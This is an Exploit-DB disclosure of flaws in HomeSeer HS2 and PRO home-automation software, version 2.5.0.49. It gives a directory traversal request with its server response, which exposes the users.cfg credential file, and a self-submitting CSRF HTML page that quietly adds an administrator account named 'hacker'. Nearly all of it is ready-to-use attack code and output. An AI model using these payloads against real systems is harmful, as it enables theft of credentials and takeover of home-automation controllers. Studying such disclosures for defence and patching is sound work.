HomeSeer HS2 and HomeSeer PRO - Multiple Vulnerabilities

EDB-ID:

18567




Platform:

Windows

Date:

2012-03-07


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# HomeSeer Home Automation Software Multiple Web Vulnerabilities (0day)
# Date: 3/6/12
# Author: Silent_Dream
# Software Link: http://www.homeseer.com/pub/setuphs2_5_0_49.exe
# Version: 2.5.0.49
# Tested on: Win XP
# CERT VU#796883: http://www.kb.cert.org/vuls/id/796883
#Note: This affects both HomeSeer HS2 and HomeSeer PRO.  
#Previously reported XSS attack vector (elog) reported to CERT was fixed in 2.5.0.49 update.

A) Directory Traversal: Retrieving the users.cfg file which contains HomeSeer usernames, access levels, and encrypted passwords.

ncat 192.168.0.1 80
GET /..\Config\users.cfg HTTP/1.0

HTTP/1.0 200 OK
Server: HomeSeer
Content-Type: application/
Accept-Ranges: bytes
Content-Length: 195

2
EFBBBF6775657374,EFBBBF4853454E4332774B51364D614C53436D534D41697A48617450514D513
D3D,EFBBBF31
EFBBBF64656661756C74,EFBBBF4853454E43327A68336A307A412F585153776F7032575A54534E6
3773D3D,EFBBBF36

B) Cross-Site Request Forgery: It is possible to add a new admin user by tricking logged-in admin to visit a malicious URL.
This POC adds user "hacker" with pass "hacked" as a HomeSeer admin.

 <html>
 <body onload="javascript:document.forms[0].submit()">
 <H2>HomeSeer CSRF Exploit to add new administrator account</H2>
 <form method="POST" name="form0" action="http://localhost/ctrl ">
 <input type="hidden" name="wuNEWUSERNAME" value="hacker"/>
 <input type="hidden" name="wuNEWUSERPASS" value="hacked"/>
 <input type="hidden" name="wuNEWUSERRIGHTS" value="Admin"/>
 <input type="hidden" name="wuNEWUSERADD" value="Add"/>
 <input type="hidden" name="stay_on_webusers" value="Hello"/>
 </form>
 </body>
 </html>